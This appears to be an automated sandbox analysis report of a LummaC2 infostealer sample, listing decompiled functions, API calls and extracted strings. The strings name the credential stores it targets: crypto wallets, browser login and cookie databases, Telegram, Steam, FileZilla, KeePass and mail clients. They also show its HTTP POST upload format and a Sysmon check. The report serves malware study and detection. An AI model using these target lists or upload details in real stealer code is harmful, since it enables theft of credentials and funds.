String ID: $jRk$%appd576xedata%\El576xedectrum\wal576xedlets$%appd576xedata%\Ethe576xedreum$%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble$%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble$%appda576xedta%\Bina576xednce$%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles$%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta$%appdata%\AnyDesk$%appdata%\Authy Desktop\Local Storage\leveldb$%appdata%\Bitcoin\wallets$%appdata%\Electrum\wallets$%appdata%\Exodus\exodus.wallet$%appdata%\FileZilla$%appdata%\Ledger Live$%appdata%\Telegram Desktop$%appdata%\atomic\Local Storage\leveldb$%appdata%\com.liberty.jaxx\IndexedDB$%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda$%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta$%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data$%localappdata%\BraveSoftware\Brave-Browser\User Data$%localappdata%\Chro576xedmium\Use576xedr Data$%localappdata%\CocCoc\Browser\User Data$%localappdata%\Coinomi\Coinomi\wallets$%localappdata%\Comodo\Dragon\User Data$%programfiles%\Steam$%programfiles%\Steam\config$%userpro576xedfile%$%userprofile%$*.576xedtxt$*.conf$*.kbdx$*.leveldb$*576xed$.fin576xedger-pr576xedint.fp$?$@an($Aan($Aan($Applications/AnyDesk$Applications/FileZilla$Applications/KeePass$Applications/Steam$Applications/Steam/config$Applications/Telegram$Brave Software$Chr576xedome$Chromi576xedum$CocCoc$Comodo$Ed576xedge$Import576xedant File576xeds/Pro576xedfile$Kom576xedeta$Mozi576xedlla Firef576xedox$Op576xedera G576xedX Stab576xedle$Op576xedera Neo576xedn$Op576xedera Sta576xedble$ST4$TT4$TT4$Wal576xedlets/Bi576xednance$Wal576xedlets/Bin576xedance$Wall576xedets/Binan576xedce$Wall576xedets/Ele576xedctrum$Wall576xedets/Eth576xedereum$Wallets/Atomic$Wallets/Authy Desktop$Wallets/Bitcoin core$Wallets/Coinomi$Wallets/Electrum$Wallets/Exodus$Wallets/JAXX New Version$Wallets/Ledger Live$ap576xedp-sto576xedre.js576xedon$keyst576xedore$q7 C$recentservers.xml$sim576xedple-sto576xedrage.j576xedson$sitemanager.xml$ssfn*$y_B>
API String ID: 0-3008219856
Opcode ID: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction ID: b823253c8ecb5ad27e2b287cb1dce7157abede6b904688f5b513f038bfe6f5bb
Opcode Fuzzy Hash: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction Fuzzy Hash: 71C207B1F002299BCF249B9AED4297E7970AB14300FE4453BE015FB391E67D89518B9F

Function 00436ADC Relevance: 91.3, APIs: 22, Strings: 29, Instructions: 2004COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043700A
KiUserCallbackDispatcher.NTDLL(00000000), ref: 0043726A
_strlen.LIBCMT ref: 004377D2
_strlen.LIBCMT ref: 0043788B
_strlen.LIBCMT ref: 00438B52
EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000000), ref: 00438BA3
_strlen.LIBCMT ref: 00438BAC
_strlen.LIBCMT ref: 00438C5F
_strlen.LIBCMT ref: 00438CD1

Strings

LID(Lu576xedmma ID): , xrefs: 00438263
- HW576xedID: , xrefs: 0043841F
q7 C, xrefs: 004371EB
kernel32.dll, xrefs: 00437F81, 004386D8, 00438A67
C: , xrefs: 00437F16
o._, xrefs: 00437C1B
Aan(, xrefs: 004377FD
advapi32.dll, xrefs: 00438CB3
Ver, xrefs: 00438630
o._, xrefs: 00436C86
user32.dll, xrefs: 00436F71, 004388BF
$jRk, xrefs: 004370BA
%s (%d.%d.%d), xrefs: 00438606
4jn`, xrefs: 00437077
n: , xrefs: 00438640
Syste576xedm.txt, xrefs: 004381E6
- Screen Resoluton: , xrefs: 0043887A
y_B>, xrefs: 00438149
sion, xrefs: 00438638
n._, xrefs: 00436FA9
Lum576xedmaC2, Build 20233101, xrefs: 0043824A
- CP576xedU Name: , xrefs: 00436FE0
4jn`, xrefs: 00436D91
x_B>, xrefs: 00436BB7
- Phys576xedical Ins576xedtalled Memor576xedy: , xrefs: 004373D9
GhYuIq, xrefs: 00438C49
TT4, xrefs: 00437101
y_B>, xrefs: 00436BC2
p7 C, xrefs: 004371E0

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen$CallbackDevicesDispatcherDisplayEnumUser
String ID: Ver$$jRk$%s (%d.%d.%d)$- CP576xedU Name: $- HW576xedID: $- Phys576xedical Ins576xedtalled Memor576xedy: $- Screen Resoluton: $4jn`$4jn`$Aan($C: $GhYuIq$LID(Lu576xedmma ID): $Lum576xedmaC2, Build 20233101$Syste576xedm.txt$TT4$advapi32.dll$kernel32.dll$n._$n: $o._$o._$p7 C$q7 C$sion$user32.dll$x_B>$y_B>$y_B>
API String ID: 3760342818-3740799521
Opcode ID: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction ID: 1dd07344ff1857ff55ac4e32df16f8dea444b4f0229405df86b90c0a9d587245
Opcode Fuzzy Hash: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction Fuzzy Hash: 710304B1504B419BDB349F29C88162BB7E0EB59310F24E92FE09BDB751D678E841CB1B

Function 0040B81C Relevance: 70.2, APIs: 17, Strings: 22, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,0045FD9A), ref: 0040C3B1
lstrcatW.KERNEL32(?,?), ref: 0040C427
lstrcatW.KERNEL32(?,0045E148), ref: 0040C431
lstrlenW.KERNEL32(?), ref: 0040C581
lstrcmpW.KERNEL32(?,0045FD96), ref: 0040C8D4
lstrlenW.KERNEL32(00001A2F), ref: 0040C901
lstrlenW.KERNEL32(00001A2F), ref: 0040D826

Strings

Ku^%, xrefs: 0040D407
kernel32.dll, xrefs: 0040BA2D
Y=`, xrefs: 0040BF65
Ku^%, xrefs: 0040BD4A
ntdll.dll, xrefs: 0040CCDE, 0040D538, 0040D59F
Ku^%, xrefs: 0040BE93
Ku^%, xrefs: 0040C4E3
Ku^%, xrefs: 0040D1F5
\??\, xrefs: 0040CC06
Ku^%, xrefs: 0040D2EB
Ku^%, xrefs: 0040D785
LOCK, xrefs: 0040D3C0
{#9, xrefs: 0040C68A
L2&e, xrefs: 0040CFFB
"B!H, xrefs: 0040CD2B
Y=`, xrefs: 0040D07D
{#9, xrefs: 0040B98F
bi, xrefs: 0040BCD9
Y[[T, xrefs: 0040BA47
K2&e, xrefs: 0040C262
"B!H, xrefs: 0040C01E
L2&e, xrefs: 0040CA7D

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcatlstrcmp
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$LOCK$Y[[T$\??\$bi$kernel32.dll$ntdll.dll${#9${#9$Y=`$Y=`
API String ID: 156957741-3266097529
Opcode ID: 586842b40f5e22ce16161be6ee07f9eaddf4cb437a7acc71fa442095b329c1f4
Instruction ID: 88d54f90e21775ceda28cbcef53f0ea71a711b7076ec2cdd820ba9bac023bc57
Opcode Fuzzy Hash: 586842b40f5e22ce16161be6ee07f9eaddf4cb437a7acc71fa442095b329c1f4
Instruction Fuzzy Hash: 3CF2D4B2D002198BDF249F9888856BEB674EF54700F24453BE516FB3E0D7788A458B9F

Function 0041F9A4 Relevance: 40.6, APIs: 6, Strings: 16, Instructions: 2064COMMON

Download Yara Rule

Strings

EeS, xrefs: 00420E73
JI3i, xrefs: 004200BA
VL6T, xrefs: 0041FFA0
EeS, xrefs: 00420D0C
KI3i, xrefs: 004209BF
fo>w, xrefs: 0042133B
KI3i, xrefs: 00421D30
mNA/, xrefs: 0041FA0C
fo>w, xrefs: 0042079B
_m.Q, xrefs: 0042046C
EeS, xrefs: 0041FF95
"w, xrefs: 004201BD
_m.Q, xrefs: 00421C7C
VL6T, xrefs: 004215D1
eo>w, xrefs: 0041FE06
"w, xrefs: 0041FD1F

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: "w$ "w$EeS$EeS$EeS$JI3i$KI3i$KI3i$VL6T$VL6T$_m.Q$_m.Q$eo>w$fo>w$fo>w$mNA/
API String ID: 0-3469262258
Opcode ID: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction ID: 53dd30e2529ea33158ec6446975a809713fb297dce848eb7333cd10e9ac2b658
Opcode Fuzzy Hash: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction Fuzzy Hash: 8303F8B1E101298BCF28DB58D9856BEB7B5AB24300F64052FD415EB360D378CD868B9F

Function 0040E14E Relevance: 40.3, APIs: 6, Strings: 16, Instructions: 1822stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,C0E8A4B4), ref: 0040E55B
lstrcatW.KERNEL32(?,0045E102), ref: 0040E565
lstrcatW.KERNEL32(?,00000000), ref: 0040E7C3

Strings

n_v, xrefs: 0040F040
kernel32.dll, xrefs: 0040E764
Ied|, xrefs: 0040F83D
u2B, xrefs: 0040E89E
Ied|, xrefs: 0040E74E
Pz#, xrefs: 0040E59F
)lu, xrefs: 0040F035
)lu, xrefs: 0040EEC0
"t8, xrefs: 0040F623
"t8, xrefs: 0040E6AF
n_v, xrefs: 0040FE12
!t8, xrefs: 0040E6A4
v2B, xrefs: 0040E894
v2B, xrefs: 0040F158
(lu, xrefs: 0040E72D
Pz#, xrefs: 0040F5D4

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$kernel32.dll$n_v$n_v$u2B$v2B$v2B
API String ID: 4038537762-116603239
Opcode ID: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction ID: 6ea63d0937669649ebb299a5b80ec071dd59a3ad312de0dc3acd440ddf73d718
Opcode Fuzzy Hash: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction Fuzzy Hash: C7E2ECB1D001199BDF248B99C9456BEBA71BB14304F24093BE506FF3D1D3798A92CB9B

Function 00430E6C Relevance: 39.9, APIs: 14, Strings: 8, Instructions: 1432memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00430F45
GetProcessHeap.KERNEL32 ref: 004314B2
HeapAlloc.KERNEL32(?,00000008,00000028), ref: 004314EB
GetDIBits.GDI32(?,00000001,00000000,?,?,00000001,00000000), ref: 004321FA
ReleaseDC.USER32(00000000,?), ref: 00432204
GetProcessHeap.KERNEL32 ref: 004326F0
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 004326FF
GetProcessHeap.KERNEL32 ref: 00432701
HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00432708

Strings

y_B>, xrefs: 004314CE
y_B>, xrefs: 0043222D
?, xrefs: 004325D3
$jRk, xrefs: 004313CB
q7 C, xrefs: 004317E9
TT4, xrefs: 00432147
q7 C, xrefs: 00430F99
TT4, xrefs: 00431425

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$AllocAllocateBitsRelease
String ID: $jRk$?$TT4$TT4$q7 C$q7 C$y_B>$y_B>
API String ID: 2023195035-2600574631
Opcode ID: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction ID: 86873c67e1170f8f17d23c3501641da2f07f81d3ce14e24acfbd45c3e0a97cea
Opcode Fuzzy Hash: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction Fuzzy Hash: 1FC2D771E001198BDF28CF98C9926BEB6B0AF5C314F24252BD515EB360D7789E41CB9B

Function 00434080 Relevance: 39.4, APIs: 10, Strings: 12, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004346DB
RegEnumKeyExW.KERNELBASE(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00434725
RegCloseKey.KERNELBASE(?), ref: 0043475B
RegOpenKeyExW.KERNELBASE(80000002,?,00000000,00020019,?,00000001), ref: 00434DA5
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F17
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F76

Strings

$jRk, xrefs: 00434B06
?, xrefs: 00434915
DisplayName, xrefs: 00434BF4
y_B>, xrefs: 00434738
Software.txt, xrefs: 00434E05
%s\%s, xrefs: 00434CF1
TT4, xrefs: 00434C71
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0043495F, 00434CEC
TT4, xrefs: 00434543
$jRk, xrefs: 00434578
%s%s, xrefs: 004346D5
y_B>, xrefs: 0043463A

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Close$EnumOpenwsprintf
String ID: $jRk$$jRk$%s%s$%s\%s$?$DisplayName$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$Software.txt$TT4$TT4$y_B>$y_B>
API String ID: 44529101-205855365
Opcode ID: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction ID: 3b7421bd9f904e401ff100dd7efef49cd6fe7be7401ce4d7a99a7b86551d2639
Opcode Fuzzy Hash: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction Fuzzy Hash: E2621D70E002198BDF28CB9899455FEB674BF9C318F242517E625EB360D73CAD418B9B

Function 0042AD82 Relevance: 25.7, Strings: 20, Instructions: 749COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 0042B5B3, 0042B8E5
*.TBK, xrefs: 0042B110, 0042B8B9
*.txt, xrefs: 0042B1B2, 0042B61E
*.TBN, xrefs: 0042B531, 0042B584
*.MSB, xrefs: 0042B0C4, 0042B7A3
*.mbox, xrefs: 0042B046, 0042B0D7
%appdata%\The Bat!, xrefs: 0042B265
*.ABD, xrefs: 0042B059, 0042B0EA
*.FLX, xrefs: 0042B06C, 0042B0FD
Mail Clients\The Bat\AppData, xrefs: 0042B0AB, 0042B0B0, 0042B0C3, 0042B0D6, 0042B0E9, 0042B0FC, 0042B10F, 0042B199, 0042B19E, 0042B1B1, 0042B56B, 0042B570, 0042B583, 0042B596
)lu, xrefs: 0042B239
*.TBB, xrefs: 0042B51E, 0042B571
%localappdata%\The Bat!, xrefs: 0042B935
(lu, xrefs: 0042AF6C
Mail Clients\The Bat\Local, xrefs: 0042B040, 0042B045, 0042B058, 0042B06B, 0042B518, 0042B51D, 0042B530, 0042B619, 0042B777, 0042B77C, 0042B78F, 0042B7A2, 0042B8B4, 0042B909
n_v, xrefs: 0042AFFA
*.MSG, xrefs: 0042B597, 0042B77D
*.EML, xrefs: 0042B0B1, 0042B790
*.HBI, xrefs: 0042B19F, 0042B90E
n_v, xrefs: 0042B244

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: %appdata%\The Bat!$%localappdata%\The Bat!$(lu$)lu$*.ABD$*.EML$*.FLX$*.HBI$*.MSB$*.MSG$*.TBB$*.TBK$*.TBN$*.mbox$*.txt$Mail Clients\The Bat\AppData$Mail Clients\The Bat\Local$kernel32.dll$n_v$n_v
API String ID: 4038537762-373908387
Opcode ID: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction ID: 4f92dd08cf156959b88a3ca31d79465b6333db6cd064390b28fe5485dbf8b601
Opcode Fuzzy Hash: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction Fuzzy Hash: 7042D7F1E0012A9BCF149A55AC5667F7B74EB51304FA8052BE405FA3A1E338CA5187DF

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102,?,?,00000000,?,?,004058C6), ref: 00405BEF
lstrcatW.KERNEL32(00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405EC4
lstrcatW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405ED7
lstrcatW.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EDF
lstrcatW.KERNEL32(?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EF3
lstrcatW.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405F06
lstrcatW.KERNEL32(?,84D55917,?,?,?,?,00000000,?,?,004058C6), ref: 00405F0E

Strings

n_v, xrefs: 00405B64
,, xrefs: 00405C1E
\Loc576xedal Extens576xedion Settin576xedgs\, xrefs: 00405EC6
n_v, xrefs: 00405C99
*576xed, xrefs: 004061E5
/Ext576xedensio576xedns/, xrefs: 00405EF5

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: *576xed$,$/Ext576xedensio576xedns/$\Loc576xedal Extens576xedion Settin576xedgs\$n_v$n_v
API String ID: 4038537762-1578839816
Opcode ID: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction ID: e5bf92a8c3e4632e865b489cc3d7c979cf6fee557c11a145fed96966642f9e4d
Opcode Fuzzy Hash: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction Fuzzy Hash: 5FF1F9B1D006198BCF28DB98889657FBA74EB44300F25463BE506FA3D1D73C9A518F9B

Function 0041C270 Relevance: 23.6, APIs: 1, Strings: 12, Instructions: 812COMMON

Download Yara Rule

Strings

9a%^, xrefs: 0041C5DF
Content-Type: multipart/form-data; boundary=%s, xrefs: 0041CCD2
9a%^, xrefs: 0041CF0D
TeslaBrowser/5.5, xrefs: 0041C870
L%, xrefs: 0041C3AA
M%, xrefs: 0041C500
9a%^, xrefs: 0041C981
SqDe87817huf871793q74, xrefs: 0041CCCD
M%, xrefs: 0041C3CB
POST, xrefs: 0041C824
9a%^, xrefs: 0041C480
winhttp.dll, xrefs: 0041C43E, 0041C859, 0041C85E, 0041C880, 0041C8A2, 0041CA62, 0041CACA, 0041CC64, 0041CD5B, 0041CDBE, 0041CF1A, 0041CFAF

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$9a%^$9a%^$9a%^$Content-Type: multipart/form-data; boundary=%s$L%$M%$M%$POST$SqDe87817huf871793q74$TeslaBrowser/5.5$winhttp.dll
API String ID: 0-485045143
Opcode ID: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction ID: c94fe321a93857c184b0378d7fc968df2dfc5883700fbc77eb7b7d771d47b6e9
Opcode Fuzzy Hash: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction Fuzzy Hash: 73521DB1E802058BDF288EE89CC56FE7AA1AB58304F24052BE515E6390D77CCDC1979F

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102), ref: 0040641B
lstrcatW.KERNEL32(?,?), ref: 00406423
lstrcatW.KERNEL32(?,?), ref: 0040692A
lstrcatW.KERNEL32(?,0045E102), ref: 00406934

Strings

Y=`, xrefs: 004065CA
Y=`, xrefs: 00406310
Ku^%, xrefs: 004068CD
Ku^%, xrefs: 004065EC

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Y=`$Y=`
API String ID: 4038537762-3617128223
Opcode ID: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction ID: 9c9fa2152e9cc94146e123e662ad7e189f6101f2fbba187f29f17e96b34d8480
Opcode Fuzzy Hash: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction Fuzzy Hash: 72F11AB1D0010A9BCF249E9898815BE7A70AB54304F264D3BE517FA3E4D37CCD619B5B

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kernel32.dll, xrefs: 0042BA16
*CACHE.PM, xrefs: 0042BE31
Ku^%, xrefs: 0042BE15
*.PMF, xrefs: 0042BA8E
C:\PMAIL, xrefs: 0042BB07
Ku^%, xrefs: 0042BCB6
Mail Clients\Pegasus, xrefs: 0042BA75, 0042BA7A, 0042BA8D, 0042BAA0, 0042BAB3, 0042BE2B, 0042BE30, 0042BE43, 0042BE56, 0042BE69
*.PML, xrefs: 0042BAB4
*.CNM, xrefs: 0042BA7B
*.USR, xrefs: 0042BE6A
*.PMN, xrefs: 0042BAA1
*.PM, xrefs: 0042BE57
*.WPM, xrefs: 0042BE44

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: *.CNM$*.PM$*.PMF$*.PML$*.PMN$*.USR$*.WPM$*CACHE.PM$C:\PMAIL$Ku^%$Ku^%$Mail Clients\Pegasus$kernel32.dll
API String ID: 0-3904125897
Opcode ID: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction ID: 84dac617f37148c4bf89ffca1ba6cb6ddcd73cd34940f6261eccf690c7d83b59
Opcode Fuzzy Hash: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction Fuzzy Hash: E0E10BB1F0012A8BCF249E99A88167F7B74EB05354FA4052BE511EB361E77C8D409BDB

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,76230880,?,0040B7CA,0040C9F4,?,?,?), ref: 0040AC5E
lstrcatW.KERNEL32(?,\??\,?,?,?,?,?,?,?,?,76230880,?,0040B7CA,0040C9F4,?,?), ref: 0040ACC2

Strings

kernel32.dll, xrefs: 0040A947
ntdll.dll, xrefs: 0040AF92, 0040B092
\??\, xrefs: 0040ACBA

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: \??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-320376045
Opcode ID: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction ID: cf05d70ef52a95d5e776fd44e962e356ae6502797ff445894325f4a97f5a2809
Opcode Fuzzy Hash: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction Fuzzy Hash: E302C5B1E443198ADF288A58C842ABFB670EB14310F25493BE515FB3E0D3798D519B9F

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ku^%, xrefs: 0043018E
logins.json, xrefs: 00430206
key4.db, xrefs: 0042FE54
Ku^%, xrefs: 0042FE0F
cert9.db, xrefs: 0042FD86
Ku^%, xrefs: 0042FFF1
cookies.sqlite, xrefs: 004301F4
Ku^%, xrefs: 0042FD7B
places.sqlite, xrefs: 00430215
Ku^%, xrefs: 00430089
formhistory.sqlite, xrefs: 0042FD98

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$cert9.db$cookies.sqlite$formhistory.sqlite$key4.db$logins.json$places.sqlite
API String ID: 4038537762-2469458786
Opcode ID: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction ID: d1eb3a7c9248dbe3af820f863548cf4fb9ed3ca77677979f9304c8b24649e330
Opcode Fuzzy Hash: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction Fuzzy Hash: 9FB128B1E1012A97CF288E58A95567F7674AB45300FE4163BE816FB390E73DCA05878B

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Strings

SysmonDrv, xrefs: 0042662E
dll, xrefs: 004263C1
ib.d, xrefs: 004263C9
A8r, xrefs: 00426415
fltl, xrefs: 004263D9, 004263DD

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: A8r$SysmonDrv$dll$fltl$ib.d
API String ID: 1029625771-1616023887
Opcode ID: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction ID: eb42a9731a47ced65949ee17454b9c50096d91694aa44b165600d0182d074a5f
Opcode Fuzzy Hash: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction Fuzzy Hash: E7E1D5B1709220DBCB24AB18E68572E76E5EB80304FA65D1FF485CB350D63DC9829B5B

Function 00402476 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 655COMMON

Download Yara Rule

Strings

UL6T, xrefs: 0040263D
M0@, xrefs: 00402DE3
VL6T, xrefs: 00402A09

Memory Dump Source

Source File: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: M0@$UL6T$VL6T
API String ID: 0-769956738
Opcode ID: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction ID: 5b652a97159c1cfdc4854cd4c98ad9d0b798284c57e6c6df073e9b00d242a01e
Opcode Fuzzy Hash: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction Fuzzy Hash: 0032A871D1051B8BCF289A98878D57EB6B0AB54350B24063BE915FB3D0D3BCCE419B9B

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,7626F770,7626F770), ref: 0040B792
NtClose.NTDLL ref: 0040B7B1

Strings

LK, xrefs: 0040B723
